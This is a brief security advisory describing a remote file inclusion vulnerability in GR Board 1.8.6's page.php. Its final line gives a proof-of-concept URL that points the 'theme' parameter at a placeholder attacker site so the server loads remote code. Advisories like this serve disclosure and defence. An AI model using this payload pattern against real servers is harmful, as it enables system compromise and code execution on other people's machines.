GR Board 1.8.6 - 'page.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/40437/info

GR Board is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.8.6.1; other versions may also be vulnerable.

http://www.example.com/path/page.php?theme=http://attacker's site